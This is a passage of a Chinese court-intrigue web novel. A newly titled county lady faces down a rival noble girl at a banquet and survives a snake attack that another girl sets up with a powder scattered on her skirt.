晏逐星沉默了片刻后,忽然开口:“好。若你真的按照你说的那样死了,我会派人看着你的家人。” 莺歌若是死了,那幕后之人或许会狗急跳墙去杀她全家灭口。 她守株待兔,或许能找到线索。 “县主此言当真?”莺歌不可思议地看着晏逐星。 “嗯。”晏逐星微微颔首。 “那就好。”莺歌瘫软在地,露出了如释重负的笑。 这时,被叫走的九栀回来了。 她看到这一幕,吓了一跳,当即拔剑指向莺歌。 晏逐星将莺歌交给了她,嘱咐道:“看好她。” 而后去了院外,叫了一个丫鬟,让她去把烈国公夫人请来。 烈国公夫人急匆匆赶来,得知有人要在国公府暗杀晏逐星,吓得脸色煞白。 她赶紧吩咐下去:“快,快请太医来替县主瞧瞧。” “干娘,我没受伤,你不必紧张。此事不宜惊动外人。”晏逐星沉声安慰。 “那人虽然是冲我而来,但难保不会对兄长动手,您一定要看紧了兄长身边的人。” 尉迟敦心智如稚童,很容易被利用,成为有心人的刀。 “好,我一定会的。”烈国公夫人忙不迭地点头。 “吉时快到了,我先梳头更衣。”晏逐星有条不紊地安排了起来。 她的冷静让烈国公夫人也渐渐淡定了下来。 她当即命自己的丫鬟亲自给晏逐星梳了头,而后将此事告知了烈国公,让他今日亲自看着儿子,任谁都不许接近。 又去严查厨房,生怕出什么茬子。 先前给衔蝉传话的小丫鬟也已经扣留,命心腹去审。 她忙得脚不沾地,最后亲自看着晏逐星换上了流光缎制好的吉服,这才松了一口气。 烈国公夫人瞧着这华丽的衣裳,忍不住感慨道:“皇后娘娘对你可真好,连这么宝贵的浮光锦都赏你了。” “干娘,您仔细瞧瞧。这不是浮光锦。”晏逐星微微一笑。 “什么?”烈国公夫人震惊了。 她仔细看了看,才发现这确实不是浮光锦。 “这是何物?”烈国公夫人忍不住追问。 “此物名为流光缎。日后会在京中的流光阁出售。如今此物产量并不多,但我已经给您和表姑各留了两匹。过些时日就送来。”晏逐星简单地说了一下日后自己的打算。 烈国公夫人听完,嗔怪地看了她一眼:“你的铺子开业,干娘怎么能不去给你捧场。不必送我,我会去买。” “您买归买,我送的是我做女儿的心意。” 一句话就让烈国公夫人笑逐颜开。 “好,都依你。届时干娘一定带人给你捧场。” 就在二人低语之际,吉时的钟声响了起来。 晏逐星搀扶住烈国公夫人的手臂正式步入认亲宴主厅。 晏逐星一露面,方才还萦绕的丝竹谈笑之声骤然减弱。 无数道目光齐刷刷地聚焦在她身上,带着毫不掩饰的惊艳与探究。 今日的晏逐星褪去了往日的素淡,身上的华服流光溢彩映衬得她容颜如玉,让人忍不住多看几眼。 “她穿的竟然是浮光锦???凭什么!”一个身着鹅黄裙子的少女脱口而出。 第193章 被蠢货连累 她的娇叱声引得附近几桌侧目。 众人一看,是太傅府的金枝玉叶的陆三小姐陆玥君,便没敢多说什么。 谁都知道太傅府三位千金,就属二房的陆玥君最受宠。 坐在她身旁的二小姐陆珮君皱眉提醒:“三妹妹,这是皇上亲封的县主,慎言。” 陆玥君横了她一眼,压低声音道:“这轮得到你多嘴么。” 陆珮君眉头皱得更紧了。 若不是为了见长姐,她也不会来这个宴会。 更不会跟陆玥君这个蠢货坐在一起,丢人现眼。 陆玥君酸溜溜地开口:“要不是当年定远侯夫人把她偷抱回侯府养着,她哪能有今天?别说当县主了,国公府义女她也高攀不上。” 裴芜听到这话顿时将临出门时母亲叮嘱她不要和人起冲突的事情给忘了,脱口而出道:“温氏那是拐孩子!说不定人家亲爹娘这些年找她找得多苦。照你这意思,她还得谢谢温氏那个人贩子不成?” 见看过来的人越来越多,陆玥君讪讪地反驳:“我、我就随口那么一说。谁知道她原本家里是什么光景。万一穷得叮当响,那能有今天这风光,难道不是因祸得福吗?” 陆珮君原本还想着顾全大局,忍一忍她,不要在外与她起冲突,免得连累了太傅府的名声。 但她怕她若是再不开口,旁人怕是要以为陆家教女无方,养出的女儿皆是这般上不得台面的浅薄之流。 她当即开口呵斥:“三妹妹慎言。令嘉县主得此造化是上天垂怜。若按你因祸得福之说,岂非暗示天下人贩皆是无心插柳的恩人?若是这话传出去,不知多少歹徒要以此为由逍遥法外。祖父乃是清流领袖,你说这番话,岂不是让祖父蒙羞?” 而后不给陆玥君说话的机会,抱歉地看向众人。 “三妹妹年纪还小不懂事,思虑不周,让诸位见笑了。” “哼。”裴芜哼了一声,没说话。。 嘉敏郡主饶有兴味地看着她们因为晏逐星而起争执,没说话。 其他家的千金们笑呵呵地应和了两句,总算将此事揭过 陆玥君没想到平时闷不做声的陆珮君竟然敢当众训斥她,还搬出祖父压她一头。 可她一时间又想不到话语去反驳。 她咬牙切齿,决定回府就找祖母告状,让祖母好好收拾陆珮君。 晏逐星跟着烈国公夫人拜见京中各位贵夫人们,并不知这些贵女们因为她的身世引发了一轮争吵。 烈国公夫人携着她的手,如同展示一件稀世珍宝,将她引荐给京中各位贵夫人们。 “这位是昭明公主……” “这位是太师府的柳老夫人……” “这位是忠国公老夫人……” 一圈走下来,晏逐星应对得体,举止从容,没有半分怯场瑟缩之态,倒让一些原本存着轻视之心的夫人暗暗点头。 忠国公老夫人得了宫中女儿的暗示,今日特意来给晏逐星撑腰。 此刻瞧见她走近,忍不住拉着她的手上下细细打量,眼中是毫不掩饰的惊艳与喜爱: “好孩子,今日这一身真是叫人眼前一亮!这才对嘛,小姑娘家家的就该穿得鲜亮些,花骨朵似的才好看。这浮光锦的光泽,最是衬你这般的好颜色了。” 她一边说一边褪下腕上一只通体莹润的羊脂玉镯,亲自戴在晏逐星手上。 “多谢老夫人厚爱。”晏逐星微微一笑,恭敬行礼后,方才继续开口。 “只是您看岔了,我身上所穿的并非浮光锦。” “哦?”忠国公老夫人一愣,随即好奇心更盛。 “不是浮光锦?那这般奇特的流光溢彩是……” 她的话音未落,旁边几位夫人也不由自主地将目光落在晏逐星的裙裾上。 这竟然不是浮光锦? “此物名为流光缎。”晏逐星将早已打好的腹稿说了出来。 得知日后晏逐星会在朱雀大街开铺子售卖这流光缎,先前矜持着的礼部尚书夫人夏氏忍不住开口:“敢问县主,铺子何时开业呀?” 她家小闺女过两个月就要及笄了。 若及笄礼上能穿上这样一条漂亮的裙子,定然会很高兴。 “约莫半个月后。若夫人不嫌弃,届时我会提前一日让人上门给您送帖子。”晏逐星微微一笑。 “县主相邀,怎会嫌弃,我高兴还来不及呢。”夏氏笑眯眯地接话。 “令嘉县主可不能厚此薄彼,您也要记得给我们发帖子啊。”其余的夫人们也跟着开口。 晏逐星一一笑着应下。 没有女子能不爱漂亮衣裳。 因着这流光缎,宴会的气氛顿时活跃了不少。 眼见该见的重要人物都已见过,晏逐星也已经将开铺子的事情告知了众人。 烈国公夫人侧首看向晏逐星,笑道:“好了,星儿,礼数尽了。你年纪轻轻的,不必总拘在我这老婆子身边。” 她抬眸,目光扫向不远处花团锦簇的贵女席位。 “去西厅水阁那边松散会儿吧,和各家的小姐妹们说说话,认认人。你们年轻人自该有年轻人的热闹。” “是。”晏逐星应下,而后领着衔蝉和双鲤去了一旁的水阁。 晏逐星的身影一出现,方才还言笑晏晏的贵女们便不约而同地静了下来。 目光或恭敬、或探究、或夹杂着不易察觉的复杂情绪,无声地落到了她身上。 裴芜眼睛一亮,几乎是下意识地咧开嘴,露出两排细密的白牙。 那声熟悉的“星儿”几乎要冲口而出。 心腹丫鬟璎珞的死死攥着她的衣料,低声提醒:“小姐!要参见县主!” 裴芜一个激灵,瞬间清醒。 如今晏逐星身份不同了,她不能再像从前那般随意。 否则,她会被人说不懂规矩、不知尊卑,也会让星儿为难。 她还没开口,晏逐星就飞快冲她眨了眨眼,而后快步走向端坐在正中央的华服少女,冲着她盈盈一拜:“见过嘉敏郡主。” 今日在场的诸位贵女,除了昭明公主膝下这位嘉敏郡主,论身份品阶,无人能及她。 礼不可废,她不能让人抓住她的把柄。 嘉敏郡主见她这般客气,唇角微扬,指尖轻抬:“县主请起。” 空气仿佛凝滞了一瞬。 裴芜见状也急忙垂首恭敬地冲晏逐星行礼:“臣女裴芜,见过令嘉县主。” 裴芜这一拜让众人如梦初醒,纷纷敛起神色给晏逐星请安。 人群中的陆玥君动作格外僵硬。 她紧抿着唇,下颌线绷得紧紧的。 纵然她的祖父是当朝一品太傅,位极人臣,但她无品无阶见到晏逐星这个县主还是得行礼。 她不服。 第194章 晏逐星惩戒 明明晏逐星几日前还只是一个身世不明的侯府养女,还和一对商贾夫妇牵扯不清。 攀上烈国公府已经算她走运,如今竟然得了太后赏识,被皇上封为县主,还穿上了这有价无市的浮光锦。 她怎么能不嫉妒。 她怎么能服气! 众人都已经行完礼,唯有陆玥君还僵在原地,顿时显得有些怪异。 晏逐星也注意到了她。 来之前,衔蝉已经把在场的人都指给她认了一遍,因此她能准确地认出所有人的身份。 “陆三小姐为何一直看着我?”晏逐星微微一笑。 “三妹妹瞧见县主这身衣裳太美了,一时间看呆了,还请县主见谅。”陆珮君赶忙替她找补。 “三妹妹,还不赶紧给县主行礼。” 陆玥君此刻越想越气,越想越憋屈,又接二连三被自己平日里看不起的二姐教训,更是火冒三丈。 她当即就和陆珮君对着干,梗着脖子道:“什么看呆了,我不过是看她穿着这身浮光锦,替这好料子不值罢了!凭她也配?” 陆珮君:“……” 完了。 这下是真的要被蠢货连累了。 众人均被她这话给惊到了,一言不发,目光全落到了晏逐星的身上。 嘉敏郡主饶有兴致地喝着茶,等着看晏逐星如何应对。 毕竟,与她唱反调的可是太傅心尖儿上捧着的小孙女。 今日晏逐星若露了怯,日后在这京中贵女圈里恐怕再难有立足之地。 若她气急败坏、逞那匹夫之怒,当众行粗鄙之举,那就说明此人愚不可及,不值得结交。 在众人的注视下,晏逐星走到陆玥君面前一步之遥停下,嗤笑一声。 “配不上浮光锦?陆三小姐,你这眼神看来不仅认不清人,连料子也分不清呢。” “我身上穿的,压根就不是浮光锦。” 一句话让众人都瞪大了眼睛。 不是浮光锦那是什么? 晏逐星抬起袖子,给众人展示了一圈,而后笑意盈盈道:“此乃流光缎。是我铺中匠人用新技法织就的料子,尚未正式面市。” 她顿了顿,脸上的嘲弄之意越发明显。 “你连浮光锦都能认错,见识如此浅薄,难怪连基本的尊卑礼仪都抛诸脑后。” “我……” 陆玥君被这连番的质问和当众揭短羞辱得头晕目眩,想反驳却一个字也吐不出来。 她下意识地看向了一旁的陆珮君,希望她能出来说两句。 但陆珮君绷紧了脸一言不发。 “太傅府的教养,今日真是让本县主大开眼界。”晏逐星不再看陆玥君,目光转向看戏的嘉敏郡主。 “郡主殿下,陆三小姐言语无状,当众藐视朝廷敕封的县主。按照大虞律法,该当何罚?还请郡主示下。” 嘉敏郡主放下茶盏,红唇微勾,带着一丝看好戏的慵懒:“陆三小姐,你可知罪?” 陆玥君被她这么一质问,顿时慌了神,她讷讷地不知道该如何开口。 她敢看不起晏逐星,但可不敢敷衍嘉敏郡主。 她僵硬地开口:“郡主恕罪,是玥君眼拙无知,一时口不择言,冲撞了县主。” 晏逐星笑了:“既然知道你冲撞的是本县主,求嘉敏郡主恕罪做什么?” 陆珮君不得不出来替她收拾烂摊子。 “三妹妹年幼无知,冒犯了县主,还请县主原谅。三妹妹,快道歉。” 陆玥君不情不愿地开口:“县主,是我冒犯了您,我知错了。” 嘉敏郡主看向晏逐星,慢悠悠道:“既然她冒犯的是你,不如让你来决定如何罚她吧。” 晏逐星也不客气,刚刚问嘉敏郡主只是例行公事,谁让在场她品阶最大呢。 不问不合适。 如今让她自己来惩戒陆玥君,那再好不过了。 看不起她的人,当然要亲自打脸回去才痛快。 于是她开口道:“既然你知错。念在你是初犯,又是太傅孙女,重罚倒显得本县主不近人情。这样吧……” 她的停顿,让陆玥君心底顿时燃起了希望。 晏逐星肯定会看在祖父的份上将此事轻轻揭过。 但下一刻,晏逐星的话让她瞬间崩溃。 “就罚你在此跪足半个时辰,好好反省你的眼拙与口不择言吧。” 晏逐星说完看向了嘉敏郡主。 “郡主觉得这个惩罚可还公允?” 嘉敏郡主笑着点了点头:“令嘉妹妹处置十分妥当,本郡主并无异议。” 晏逐星直接让衔蝉和双鲤去请陆玥君跪下。 看着陆玥君屈辱的表情,她淡淡道:“陆三小姐今日认错了料子是小,日后若再认不清身份,冒犯了更不该冒犯的人,恐怕就不是跪半个时辰这么简单了。” “本县主与季太医颇有几分交情,可要我去请他给你治治眼睛?这眼拙的毛病,你还是趁早治治的好。” “妙极。”嘉敏郡主唇角笑意更深,眸中欣赏之色愈浓,“令嘉妹妹此言,深得我心。” 有趣,有趣。 这丫头损人不带脏字的促狭劲,她得好好琢磨学习学习,日后说不定能用得上。 陆玥君到底只是一个刚满十三岁的小姑娘,听到这番话,再也承受不住晏逐星这样的挖苦和众人异样的目光,两眼一闭打算装晕逃避惩罚。 不曾想,晏逐星却抢先一步开口:“陆三小姐,你是要晕了吗?温氏当初就很喜欢晕过去,本县主治疗晕厥很有经验哦,需要我帮你看看吗。” 陆玥君:“……” 这下好了,她连装晕都装不成了。 于是她只得颤颤巍巍地在众人的注视下罚跪。 陆玥君羞愤欲绝,只觉得这是她人生中最漫长的半个时辰了。 隐在人群中的李柔徽眼帘低垂,眉心几不可察地蹙起。 果然,小叔所言非虚。 这个晏逐星,当真是个心思深沉的棘手人物,真是让人不喜。 不过是侥幸撞了大运的野山鸡,倒也装模作样地抖落起真凤凰的排场了。 她捏了捏藏在袖中的药瓶,斟酌着什么时候能用上。 第195章 接着被打脸 “二夫人!三小姐她被县主押在水阁里罚跪呢!”陆玥君的丫鬟芙蕖快步跑到二夫人蒋氏跟前告状。 得知女儿当众罚跪,蒋氏只觉得一股血气直冲脑门,眼前发黑,身子晃了晃,差点当场栽倒。 芙蕖心里发虚,自然不敢说陆玥君冲撞晏逐星的全过程,避重就轻道: “小姐就是行礼慢了些,不小心把县主身上的料子错认成了浮光锦,就被县主指着鼻子骂眼睛有疾,硬生生按着跪在那儿。那么多千金小姐都看着呢!” 小姐说了,让她一定要把夫人请过去。 她就不信,夫人来了,县主还能一直让她跪着。 蒋氏听到后面这些话时胸口的怒火几乎要炸开。 她猛地扭头看向烈国公夫人,声音都气得发颤:“国公夫人认下的这位干女儿,今日可真是威风八面啊。连我们太傅府的脸面都敢往地上踩了么?” 烈国公夫人眉头蹙紧,语气却四平八稳:“星儿这孩子行事一向有章法。此事定有缘由。” “缘由?!”蒋氏声音陡然拔高,面皮涨得通红,“不管天大的缘由,她也不该如此作践我的女儿。这事儿,我们陆家跟你们没完。” 她气得攥紧了帕子。 烈国公夫人目光扫过在场众人,最后落在上首端坐的昭明公主身上,语调依旧十分平静:“嘉敏郡主当时也在水阁。若星儿真有什么不当之处,郡主在场岂会坐视不理?如今令嫒被罚,恐怕是郡主也认为她理亏吧?” 她故意把嘉敏郡主抬了出来。 果然,一提到自己的女儿嘉敏郡主,昭明公主无法再置身事外了。 “烈国公夫人说得是。”昭明公主点点头,而后看向身边两个得力的侍女。 “去水阁,仔细问问到底怎么回事。再把郡主请过来。” 她倒要看看,今日这水阁里唱的是哪一出。 蒋氏闻言,眼中闪过一丝希冀,女儿今日受的委屈,有公主在,定然不会让晏逐星好过。 跪在地上芙蕖在听到公主派人去仔细问问时,浑身一抖,冷汗瞬间浸透了后背的衣衫。 她脑子里嗡的一声,只剩下一个念头:完了,事情要包不住了! 没过多久,嘉敏郡主就跟着那两位侍女来了。 昭明公主沉声开口:“嘉敏,你给陆二夫人仔细说说水阁先前发生了什么事,陆三小姐为何会被罚跪?” 嘉敏郡主饶有兴味地看着一脸期待的蒋氏。 她该不会期待着她会替陆玥君说好话吧? 果然陆玥君的蠢不是没有缘由的。 她娘就蠢。 大蠢货生出小蠢货,合情合理。 “是,母亲。”嘉敏郡主应了一声,绘声绘色地把先前陆玥君怎么得罪晏逐星的场景说了出来。 她越说,蒋氏的脸色白得越厉害。 她根本不知道是女儿先挑衅的晏逐星。 说到最后,嘉敏郡主活学活用,把晏逐星说过的话对蒋氏说了一遍。 “陆二夫人,陆三小姐今日认错了料子是小,日后若再认不清身份,冒犯了更不该冒犯的人,恐怕就不是跪半个时辰这么简单了。本郡主觉得令嘉妹妹说得很对,陆三小姐这眼拙的毛病,您还是趁早寻名医给她治治的好。” 蒋氏活了半辈子,从未觉得如此丢人现眼。 嘉敏郡主那毫不掩饰的轻蔑让她坐立难安,恨不得立刻找个地缝钻进去。 烈国公夫人轻笑一声:“我就说了,星儿不是那种无故生事的人。” 她这番话,像是隔空扇了蒋氏一巴掌。 羞愤交加之下,蒋氏无处发泄的怒火就落在了芙蕖身上。 她反手就狠狠给了芙蕖一巴掌:“你这个贱婢!竟敢欺上瞒下,蒙蔽主子!” 芙蕖被打得双颊红肿,却丝毫不敢辩解,只能不停认错求饶:“奴婢该死!奴婢知错了!夫人饶命啊!” 蒋氏此刻哪里听得进去,胸中的怒火烧得她理智全无,抬手又是“啪啪”两记耳光甩过去,芙蕖的脸颊立刻肿得更厉害了。 坐在下首的陆璧君眉头紧锁,不由担忧起了跟在陆玥君身边的亲妹妹陆珮君。 就算晏逐星今日网开一面放过了二妹妹,等回了太傅府,二妹妹恐怕也难逃池鱼之殃,少不得要受磋磨。 这念头让她心急如焚。 眼见蒋氏只顾着拿丫鬟撒气,全然忘了正事。 陆璧君不得不开口:“二婶,眼下当务之急,还是先去水阁见县主吧。县主素来明理,此番惩戒三妹妹,或许只是小惩大戒,意在警醒,此刻说不定已经让三妹妹起身了。” 若在平日,蒋氏一定会斥责陆璧君一个出嫁女多管闲事。 可此时此刻,陆璧君的话如同救命稻草,蒋氏如蒙大赦,只想立刻抓住这逃离眼下难堪境地的机会。 “你说得对!” 蒋氏迫不及待地应声,冲在场的贵夫人们行了一礼。 “我教女无方,让诸位见笑了。我这就去给县主赔礼道歉。” 说完便快步离开去到了晏逐星面前。 看着跪在地上哭得双眼通红的女儿,蒋氏心如刀绞,但她顾不得安慰女儿,得先给晏逐星赔罪。 “县主,今日是小女莽撞无知,冒犯了您。怪我教导无方。求您大人大量,高抬贵手,饶了她这一回吧……” 晏逐星沉默片刻后,方才开口:“罢了。陆三小姐既已知错,夫人便带着她回去吧。还望陆家日后好生约束门楣,免得抹黑了太傅大人的声誉。” 她轻轻抬了抬手,示意衔蝉和双鲤可以放人了。 她今日教训陆玥君,本来也不打算赶尽杀绝,只是陆玥君自己傻,非要撞上来给她开刀,树立威严,她不刀白不刀。 蒋氏心里憋屈,但却不得不道谢:“谢县主宽宏!” 说完她不敢再多看晏逐星一眼,将地上的陆玥君一把拽了起来,灰溜溜地提前离开了宴会。 在场的贵女们都对晏逐星有了新的认识。 这个令嘉县主,惹不得。 看见蒋氏母女落荒而逃,李柔徽眉头锁得更紧了。 她知道她该出手了,若再不出手,之后恐怕就没机会了。 她脑海里全都是来做客前夕小叔李兰亭跟她说的那些话。 第196章 李柔徽下药 “徽儿,小叔的下半辈子是彻底没指望了……” “公主薨了,福安也没了,都折在那个姓晏的野丫头手里!” “此仇不共戴天!” “徽儿,但小叔能指望你,对么?” “福安那份价值连城的嫁妆,小叔能做主!” “只要你替福安报仇,替小叔出了这口恶气,让那贱人也尝尝生不如死的滋味。福安所有的田庄、铺面、金银珠宝、御赐之物,全是你的。” 李柔徽想到福安郡主那份令人咋舌的丰厚嫁妆,心脏剧烈跳动了起来。 “还有你的亲事。你祖父给你相看的那户人家算什么?区区五品官的儿子哪里配得上你。只要你做成此事,小叔求到太后娘娘那头,必定为你谋上一桩让你满意的婚事。” 李柔徽最终被说动了。 她不喜欢祖父给她说的那门亲事。 区区钦天监监正之子能有多大出息,明明按照他们李家的家世能给她寻摸到更好的。 祖父就是偏心堂姐。 钦天监监正之子若是真的好,为何不让堂姐去嫁,还不是看她没了爹只有一个不中用的娘,才会这样轻怠她。 李柔徽捏紧了手中的药瓶,死死盯着晏逐星。 今日,她若能替小叔出了这口恶气,福安郡主的那些嫁妆就都是她的了。 届时,有小叔和太后为她筹谋,她一定能找到更好的亲事。 想到此处,李柔徽深吸一口气压下狂跳的心,面上挂起恰到好处的笑容,跟着刑部尚书之女宋兰茵一同靠近了被几位贵女围住的晏逐星。 “除了流光缎,县主,您那流光阁还卖什么新奇玩意儿呀?”宋兰茵兴致勃勃地问道。 李柔徽也适时露出好奇的神色,目光不经意地扫过晏逐星周身,寻找着最稳妥的下手之处。 她注意到晏逐星此刻是侧身坐着,裙摆垂落在石凳边缘靠近地面的地方。 她心念一动,觉得那是个不错的下手位置。 “一些岭南、蜀中特有的香料、药材和小玩意儿,流光阁也会售卖。之后或许还会增加些西戎和琉光来的稀罕物。”晏逐星浅笑着回应,“届时你们去逛逛便知了。” “县主头上这支珍珠簪子真是别致,流光阁往后会出类似的样式么?”李柔徽一边柔声询问,一边自然而然地倾身伸手向前,仿佛被那簪子吸引,想要看得更真切些。 晏逐星眉头微蹙,身体不着痕迹地后仰,避开了她伸来的手,语气平淡:“李四小姐若喜欢,我可以命人造些类似的款式放上去。” “是柔徽失礼了,还请县主恕罪!”李柔徽立刻做出一副惊慌失措的模样,顺势跪倒在晏逐星散开裙摆边缘。 她一边磕头,一边趁着谢罪的功夫用宽大的袖摆做遮掩,将那浅黄色的药粉洒在了晏逐星的裙摆上。 “柔徽一时忘形,绝无冒犯之意,求县主宽宥!” 她连连求饶。 晏逐星冷冷地俯视着跪在自己裙边的李柔徽。 她甚至还未开口斥责,对方就抢先一步做出这副惶恐请罪的姿态。 意图昭然若揭。 她才刚处置了当众冒犯她的陆玥君,此刻李柔徽又来这么一出,不就是想坐实她“苛待贵女”、“性情暴戾难容人”的名声么? 让所有人都觉得她这位新封的县主动辄便让人下跪,嚣张跋扈至极。 果然,李柔徽这一跪让周围原本轻松谈笑的气氛骤然一凝。 不少贵女们都停下了交谈,窃窃私语道: “这又是怎么了?” “怎么又跪了一个?” “刚才是陆家三小姐,现在是李家四小姐。这位县主,好大的威风啊……” 晏逐星起身,优雅地向后退开一步,拉开与李柔徽的距离。 她微微歪头,用一种纯然无辜又带着浓浓困惑的眼神,居高临下地审视着跪在自己脚边的人,声音清亮,足以让周围人都听得清清楚楚:“李四小姐,这可真是奇了。” “我这儿还一个字儿都没说呢,你怎么就跪下了?” “难不成你们李家的女儿,膝盖骨天生就比别人软上几分?这动不动就下跪的规矩,莫非是府上的家传?” 李柔徽咬紧了牙关,脸涨得通红。 她还是低估了晏逐星牙尖嘴利的地步。 她承认,她刚刚下跪除了是想掩饰自己下药外,更想让晏逐星给众人留下一个不好相处,嚣张跋扈的印象。 可不曾想她反应竟然那么快! 不等她开口,晏逐星又道:“你这一拜呀,论身份,本县主自然是受得起的。” “但我一未动怒,二未开口让你跪,你就跪得这么快,究竟是真心认错,还是存心要陷我于不义之地呢?” 她直接把话撕开了说,让众人自己用脑子想一想。 今日之事,究竟是李柔徽存心陷害,还是她嚣张跋扈,想必京中这些人精似的千金小姐们,应当能看明白。 “本县主也累了,失陪了。” 晏逐星再不看地上跪着的李柔徽一眼,径自转身离去。 她这一走,愈发衬得跪在原地的李柔徽如同戏台上刻意卖弄却无人喝彩的丑角,徒惹笑柄。 如今本就是认亲宴的尾声,已有不少夫人小姐陆续起身,准备告辞离去。 李柔徽这突兀的一跪,正正落入了许多前来道别的贵夫人眼中。 李柔徽羞愤欲绝,恨不得当场化作一缕青烟消失在国公府。 她在丫鬟的搀扶下踉跄起身。 她看着相熟的那些千金小姐们,忍不住解释:“我没有别的意思,我刚刚只是太害怕了……” 众人心思各异,面上却没有显露出来,只是呵呵笑着点头敷衍了过去。 李柔徽攥紧了拳头,只觉得耻辱感爬遍全身。 但一想到晏逐星之后会遇到的“意外”和“狼狈”,她又冷静了下来。 她这点丢人算什么。 到那时,晏逐星死得那么惨,谁还会记得她李柔徽此刻的区区一跪? 第197章 是蓄意谋杀 晏逐星准备回摘星院,看看莺歌到底有没有像她说的那样毒发身亡。 结果刚走出水阁,就瞧见了迎面而来的昭明公主母女。 她恭敬行礼,准备道别,不曾想嘉敏郡主就特意移步到她面前,笑意盈盈地相邀:“过些日子得空,妹妹定要来公主府寻我小聚才好。” 昭明公主闻言,眼中掠过一丝难掩的讶异。 嘉敏这孩子竟会主动开口邀人去公主府做客? 这可真是破天荒头一遭。 她这个女儿面上瞧着是八面玲珑,与谁都能说上几句场面话,但骨子里却最是清高挑剔。 那些围着她打转的世家贵女,在嘉敏眼中不过是些言语乏味、见识短浅的庸脂俗粉,根本入不了她的眼。 更别提让她生出主动结交、邀请入府做客的兴致。 如今她竟然主动约了晏逐星?看来这位被皇兄新封的令嘉县主,还真是有些能耐。 晏逐星也没想到嘉敏郡主会主动相邀,但她不打算拒绝。 她的敌人太多,朋友太少,除了杀人,也该多交点朋友才是。 “郡主相邀,逐星荣幸之至。”晏逐星笑着应下。 送走了她们,晏逐星才带着衔蝉和双鲤往摘星院走。 回摘星院需穿过一小片精心打理的花园,三人沿着青石小径前行。 假山石边上几丛重瓣牡丹开得正盛,硕大花朵沉甸甸压弯枝头,忽然,一丛牡丹下的阴影好像有活物在蠕动。 双鲤好奇地探头去看,就看到一条乌黑油亮的毒蛇从层层叠叠的牡丹叶底窜出,直冲晏逐星奔去。 事发突然,衔蝉和双鲤被吓得魂飞魄散,根本来不及反应,就看到第二条毒蛇也游了出来,跟着冲向了晏逐星。 千钧一发之际,晏逐星几乎是本能地将手中的袖箭射出。 但两条蛇的速度太快,晏逐星射出的箭只钉住了先出来的那一条。 另一条被袖箭擦伤的黑蛇非但没有后退,反而像是被彻底激怒了。 吐着蛇信子无视钉在地上的同类,依旧径直扑向晏逐星。 晏逐星意识到不对劲,但此刻她已来不及细想,反手拔出腿上寒光凛冽的匕首,精准插入扑过来的黑蛇七寸,将它狠狠钉死在地。 “嘶嘶嘶。” 不等她喘气休息,假山石缝中竟然又接连窜出两条毒蛇,同样直冲她而来。 “跑!” 晏逐星厉喝出声,用她手中仅剩一只袖箭,面对这么多毒蛇,她没把握能全杀了。 双鲤和衔蝉如梦初醒,爆发出凄厉的尖叫:“来人啊!救命!有蛇!好多毒蛇!” “快来人!救县主!” 呼救声划破花园的寂静。 几乎是同时,杂沓的脚步声和呼喝声由远及近。 “县主莫慌!” “保护县主!” 几名闻声赶来的健壮家丁手持长棍和火把,将剩下的蛇给驱赶打死。 晏逐星主仆三人被国公府的家丁包围保护在正中间,总算得了喘息的功夫。 “县主,吓死奴婢了。”双鲤强忍着的眼泪终于落了下来。 太吓人了,花园里怎么会有那么多的毒蛇。 衔蝉惊魂未定,怒火直冲头顶,她指着地上的蛇尸对着赶来的家丁和管家厉声质问:“国公府的花园里怎么会藏着这么多毒蛇?!” “你们平日里是怎么当差的?园子都不仔细检查清扫么?今日若不是我们县主机警,万一真被咬着了,你们有几个脑袋担待得起?” 匆忙赶来的管家此刻已是脸色煞白,额头上布满了冷汗。 他扑通一声跪倒在地,高声道:“县主恕罪!衔蝉姑娘息怒啊!这实在是天大的冤枉!” 他急急分辩,语气满是惊惶与困惑。 “府中各处,尤其是园子,我们前两日才刚刚彻底清扫过,撒足了驱蛇避虫的药粉。按说绝不该有蛇,更别说一下子冒出这么多毒蛇来!” “这简直邪门了!小的们日日巡查,从未敢懈怠,今日这事实在蹊跷啊!”家丁们也为管家抱冤。 晏逐星自是相信管家说的话。 毕竟尉迟敦喜欢在园子里玩,国公府定然会仔细检查府中各个角落,避免蛇虫的出现。 今日这些毒蛇全都冲着她而来,一定有人在背后动了手脚。 晏逐星一瞬间就想到了之前那柄有毒的银梳,这两件事的幕后指使者应该是同一人。 毒梳可以说是收买了国公府的丫鬟,毒蛇也可以是买通下人暗暗将其放入园子里。 但为什么那些蛇只攻击她一个人而不攻击别人呢? 晏逐星将自己的疑惑说了出来。 众人恍然大悟,这不是意外,是谋杀。 九栀也跟着烈国公夫妇一块赶了过来。 九栀率先莺歌的情况汇报了一遍:“县主,莺歌没有撒谎,她确实中了那个毒。” “义父,可曾查出是什么毒了么?”晏逐星看向了眉头紧锁的烈国公。 烈国公摇了摇头,语气凝重:“请太医来验了,只说是剧毒,但具体什么毒没查出来,瞧着不像咱们大虞的毒。倒是有些像南穹传来的毒药。” 想到面前这些毒蛇的尸体,烈国公一颗心直直往下坠。 他最终还是忍不住问了出来:“星儿,你可是得罪了什么人?那人竟然恨你至此,非要置你于死地?” 烈国公夫人紧紧握着夫君的手,一脸担忧地看着晏逐星。 往梳子上下毒的法子实在太过阴险,令人不寒而栗。 若不是莺歌心虚,若不是星儿机警,今日认亲宴恐怕就要从喜事变成丧事了。 如今竟然还有毒蛇这个后招,烈国公夫人忍不住也开口了:“星儿,你若遇上了什么事,可以告诉我们的。” 晏逐星抿唇不语,仔细思索着今日发生的事情。 而后,她灵光乍现,想到了突兀跪下的李柔徽。 “我知道了,是她。” 第198章 驸马有刺客 “谁?”烈国公夫妇同时出声询问。 晏逐星没有马上回答,而是从家丁手中拿过了火把,仔细检查起自己的裙摆。 “果然如此。”晏逐星瞧见了上边残留的淡黄色粉末。 若是不仔细看,定然什么也看不出来。 “什么果然如此?”烈国公夫妇越发疑惑了。 晏逐星将自己的怀疑说了出来。 “我这裙摆上,想必残留的就是能吸引毒蛇的药粉。而今日接触过我这个位置的人,只有李柔徽。” “李老先生府上的四姑娘?”烈国公夫妇都很惊讶。 “你得罪的是李家人?” 晏逐星摇了摇头:“我不知道。” 她不能将朝华长公主和福安郡主的事情说出来,因而只能否认。 “你放心,不管因为什么,此事我与你义父一定会给你讨一个公道!”烈国公夫人心头怒火熊熊燃烧。 她前年才痛失爱女,如今好不容易认了个合心意的女儿,竟又有人要加害于她。 她忍无可忍,一定要将这幕后之人揪出来。 “干娘,您莫要冲动,咱们没有证据。”晏逐星不愿国公府为了她去和李家对上。 李家老太爷李崇简是青山书院的山长,顶级大儒,门生遍朝堂。 青山书院,那是天下学子挤破头都想进的地方。 国公府要是跟李家对上,绝对讨不了好。 这帮文人的笔杆子,那叫一个杀人不见血。 